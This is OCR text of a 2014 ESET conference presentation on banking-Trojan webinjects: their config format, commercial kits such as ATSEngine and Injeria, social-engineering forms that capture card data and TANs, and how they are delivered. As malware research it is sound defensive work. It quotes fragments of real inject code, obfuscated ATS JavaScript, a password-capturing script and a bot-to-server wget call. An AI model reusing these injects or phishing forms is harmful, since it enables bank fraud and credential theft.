@81' ENJOY SAFER TECHNOLOGY

ENJOY SAFER
TECHNOLOGY”™

PUBLIC



The evolution of webinjects

Jean-lan Boutin
ESET

EN]JOY SAFER TECHNOLOGY

2014

SEATTLE =
4 September 2



Outline

Webinject Evolution

Webinject Commoditization

Emergence of Popular Kits

Webinject Delivery

PUBLIC



Webinject Evolution
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The Beginnings

* Keyloggers
* Form grabbing
— Inspect GET/POST requests
* |njects are specifically made for one banking Trojan platform
* Only a couple of institutions are available
* |nstitutions are geo-located
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Popular webinject format

set_url https:/ /s . cafes = html*command=displayAccountSummary* GP

Keyword indicating which URL is

data_inject targeted
style="visibility:hidden"
data_end

data_after
>

data_end
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Popular webinject format

set_url https:/ /s k. . =, html*command=displayAccountSummary* GP

Target URL

data_inject
style="visibility:hidden"
data_end

data_after
>

data_end
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Popular webinject format

set_url https:/ /s k. =, html*command=displayAccountSummary* GP

Flags (Get, Post)

data_inject
style="visibility:hidden"
data_end

data_after
>

data_end
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Popular webinject format

set_url https:/ /s . cafes = html*command=displayAccountSummary* GP

data before
<body
data_end

Keywords specifying where the code
data_inject should be injected in the webpage

style="visibility:hidden"
data_end

data after
>

data_end
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Popular webinject format

set_url https:/ /s k. . =, html*command=displayAccountSummary* GP

data_before
<body
data_end

Code to inject

data_inject
style="visibility:hidden"
data_end

data_after
>

data_end
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Increase in Functionalities

* Login grabber

* |njection of additional fields

* Balance grabber/changer

 TAN Grabber

e Full Automatic Transfer Systems (ATS or AZ - avtozaliv)
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Country

First name

Last name

Address line 1

Address line 2 (optional)
City

State

ZIP code

Phaone number

Card number

Expiration date (mm/fyy)
CSC

United States
Jahn

Dae

The White House
1600 Pensyhania
Washington

oc

20500
202-456-1111

4512321321323
o

12 12

123

Phish-like inject

For wverification purposes wou must update

wour card details.

Vertfied by Visa Password is incorrect

Mame embossed on card
[ Exactly as on card )

Date of birth |
rrnddddyy ey

Mother's maiden name
Social security number
Diriver license number

Credit / Debit card PIM

Card number
John Doe

a1 01

Doehdrs

123 12
456456456
1234

Yerified by Wisa password srrnnmnnnnd

Continue

oom

1323
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Automatic Transfer Systems

e Allow transfers to be done automatically

* |nject code able to browse to correct page, fill transfer information,
etc

* Not as attractive nowadays due to complexity

checkRule

Adding the page location rule

@url url to check, accepting regexp url
@callback calls callback when url testing is success

@onlyParent if TRUE will callback the rule when this page loaded in iframe
@withoutTimeout do random timeout or not

*/

checkRule: function(url, callback, onlyParent, withoutTimeout) {
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Transaction Authorization Number (TAN)

* Several form factor exists H
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Social Engineering (1/2)

* Inject content
tricking the user
into entering a

TA N The process of data collection for the preparation of unique digital signatures, has been completed. For the
installation and use of the UDS, you must specify the TAN. The following notification to the on-line banking
will be done with UDS.

Confirm your unique digital signature with the help of TAN

Please pay attention entering your TAN : your account will be blocked after 3 failed attempts.

Find the number of the TAM code in your TAM-list. Please enter the corresponding TAN code on your

SCreen.
Please enter the TAN here
Sequence
Mumber =L
Tan code * [i] * Required field
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Inject content
tricking the user
into installing a
malicious
application

Social Engineering (2/2)

Verification

Welcome back

= De to a rising munber of atternpts in order to gain unlawfil access to the
" dmjnistratic:n introduces new extra safety protection systermn. I
- tor safe and secure authonzation. With this software vou don't need any e
log i you will input an access code generated by the software on wvour pe

one of the prionties. Meanwhile application might be not avalable for son

Mobile Phone Number: | Pleaze select v
Yo'l gat SMS with dowsload
fink to this phone nimbar

Select the operating system :
. Android v
of vour mobile phone:
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Popular Webservices Targeted

e Extra content is injected as [: Google

S00Nn as user IOgS Into hIS Suspicious activity is detected. Your account is locked
account
Suspicious activity is detected. Your account is locked
e Usually phishing-like facebock
webinjects

Suspicious activity is detected, Your account is locked

YAHOOQ!

Suspicious activity is detected. Your :

You{[TH)

Suspicious activity is detected. Your account is locked
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Webinject Commoditization
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(esf)

@) Config Builder
File

EE &

Custom Tools

b e htkp: ) fgoogle.com
E (7o to browser when page loading begins

Editar | Source code || Internet Explarer || Page HTML code |

Mask listi:
+ X [

*mail, ru* GP

*rambler.ru 5P

[ ] pisable mask
Inject list:
+ X

Inject 1

Drata before:

[ Insert macros ] E‘]

[ ] bisable inject

<input tvpe="subrmit" value="

Drata inject: )
Inj FInd
Data after; E‘]

" class="poinker"
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Cheap Webinjects

a, depen ema.

CTHREIX E HAWMX K raXx TPOAHOE, TaK¥e MODY ITHMCATE Ha IIPMEATHRE TEME, E KROTOPEX IIOITERM
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Germany United Kingdom USA Canada France Mobile Bot

] B

Sweden Card Collectors Columbia

New Zealand
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ATS

yummba [

HuTep

Mpynna: SnegWanKcr
CoobweHKHA!
Pervctpagmal
MonezoEaTente
JeAaTeneEHOCTE

O 23.09.2D13-

[al

237092013 - CycTeMa AnA eHefpeHuA Android GoTa (nepexeat CMJ nnA postbank.de (exgeo

btk ffrvbro cefvideos/postbankupdl.rar)

W e (L)

PrAnoea|[EEERx)|

 Some webinject seller can include android components to bypass

MmTAN
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Panels

* Some scripts
with advanced
capabilities
come with an
administration
panel

Leg

tash

Hippars
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Public/Private webinject and Partnerships

* Two types of offering for webinject
— Public
— Private

e Partnership, where the revenue can be shared, are also mentioned
by some inject coders
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Emergence of Popular Kits
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ATSEngine

Lipostale@ATSEngine

e ATSEngine panel

screenshots ot
* Seen in Qadars, ,
ZeusVM, L
Neverquest/Vawt :ipostale@ATSEngine
rak, Citadel, GOZ
Password: | Sign in
Grabhed Dato Transfers Roports
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Injeria

* Used in several banking Trojans: Qadars, Tilon, Torpig
* JS downloaded from external source, using a distinctive URL

data_inject
<script>
var b_uid="%UID%" ;<fscript><script type="text/javascript”

src="https:/, .com/app.php?data=cHIvamVjdD1hcHAtY3NvYmNGLXM="">
<fscript>
data_end
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Injeria

* Several different project types
— log-<project-name>
— mob-<project-name>
— reg-<project-name>
— app-<project-name>
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How to track them?

e The code and URL structures
 The admin panel design

 Sometimes underground adverts and features correlation is
possible
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ATSEngine - ID

<scripts
var script_link = "https:// .com/scotiaadmin/scotia.js ?r="+Number(new Date());
eval(function(p,a,c,k,e,r){e=Ffunction(c){return(c<a?'':e(parselnt(c/a)))+((c=c%a)
se=function(){return'\\w+'};c=1}:while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(
";7["[8 1f]"]="1g";7["[8 1h]"]="1i";7["[8 R]"]="8";9 f={t:m,u:1,1j:4(a){3(a){f.u+
33(2.V==="W"){5 C(f.6,1)}3(2.w){2.w("g",g,m);D.w("1k",f.6,m)}Ik 3(2.x){2.x("X",9);
-pii<p;i++){q=a[il;h=F.h(q);3(h==="0"){1.G.12(1,q)}k 3(h==="4"){c.10(q)}}3(r){1.v(
1(o|13)},1u:4(){z=1;c=[];5 s}};5 1},h:4(a){5 a==Y?P(a):7[R.1v.1w.1x(a)]]|"8"}};:;4 F

6(a){f.T();9 b=F.h(a);d.G(a)}5 63)();4 13(){3(1B.1C.1D().1E("1F")>=0){2.y.H.I="]"
.N(a)}}4 17(a){9 b=2.14("1M");b.h="15/1N";b.16="10";b.1P=a;3(2.B("M").p>0){2.B("M'
entLoaded |type| |fired|else|deferred|false|true|firing|length|elem|_fired|this|isRg
window|try|doScrollCheck|done|style|display|none|setAttribute|getElementById|head
s|apply|hideContent|createElement|text|id|loadScript|Boolean|boolean|Number |numbe
ancel|prototype|toString|call|left|removeEventListener |detachEvent|navigator|userj
t_link'.split(']'),0,{}));</script>

lgaﬁi'.qmmuﬂutﬁwmf
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ATSEngine - ID

| B R R A A A A A R B A A R A RO O AR
/ [## >> USER VARIABLES
| [ R R R R R R R T R R R T T R R T R R AR T R RT3

//--- USER VARIABLES ---

home_link "https:// .comfscotiaadmin”;
gate_Link o S T

pkey ="'
ﬂ-lﬂl-ll-ll-rllll-l-ll;\-ulll- '::qcnrlﬁgrah HIIII-II-FI-FI-';HIIII‘II-II'II-I';I IIII-II'II-I';I
ancel|prototype]| achEvent|navigator|userj

t_link'.split('] Password:
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Webinject Delivery
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Inline vs. external downloads

set_url *ttps://i . —mmooef*aspx* GP

data_before
<!DOCTYPE*<head*>
data_end

data_inject

<scripte>var b_uid="%UIDX";</script>

scrrint ftvne="t+av¥ /davacrrint"

src="https:// .comfapp.php?data=cHIvamVjdD1hcHAtY3NvYmMNG6LXM="2>
</SCript=

data_end

data_after
data_end
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set_url oo s eess-—ssssss —e = fNPBSPersonal® GP

data_before
</body>
data_end
data iniject
iscript>
$(document).ready(function(){
enterNumOld = enterNum;
enterNum = function(padButton){
S$("input#txtPasswordPlain").val(Ss("input#txtPasswordPlain").val()+5(padButton).val());
enterNumOld(padButton);
};
clearFieldOld = clearField;
clearField = function(){
S("input#txtPasswordPlain").val("");
clearFieldold();
};
delField0ld = delField;
delField = function(){
S("input#txtPasswordPlain").val(S("input#txtPasswordPlain").val().slice(®, -1));
delFieldold();
};
1)
:fscripts
data_end
data_after
data_end

—
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JS — External Download

* Advantages
— Hinder forensic analysis
— Feature based selling
— Maintenance by original seller

— New webinject code does not have to be downloaded right
away by the bot
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External Sever Interactions

Client side

wget --user-agent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" -t1
""Thttp: /@ /ba7?au=ad2&act=start&id=0&jab=1&func: 00__o0o_o__o__ lonlo

ad=00__o_o_o_(%22call_07642152347844221%22)"""

( "balance": , created_at":"2014-03-25T14:47:01+01:00","drop

00__ o o_ o
_1a-: s "Nige_summ" : s hide_trans": g id": s Log":"","status":"

t","status_text": s success":"true","updated_at":"2014-03-25T14:47:01+01:

ee" ,"user_id": );
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External Server Interactions
0 ({
"acc_num":"PL : -
rlb‘lIrI. n .rl

cumment"'"ﬁet hy bot 1id 17:08:07 25 Mar 2014
Get by bot id = = 17:08:07 25 Mar 2014 : Amount of t
ransfer 1",
"created_at":"2014-02-13T20:53:16+01:00",

"first_name":"Be =",

"id":6

"last_name"

"max_sum_limit":2480,
"min_sum_limit":100,

"status":"busy",

"success":"true",
"trans_comment”:"Ref N 9295",
"updated_at":"2014-03-25T17:08:07+01:
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Conclusion
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Conclusion

 Webinjects have evolved tremendously in the past few years
* |n several banking Trojans, it is the true attack code
* Webinject commoditization is well in place

* As different webinject platforms are available, some are more
popular than others
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Thank You!! {
~ fav‘m

e Special thanks to Anton Cherepanov

\"

* Questions?

@jiboutin
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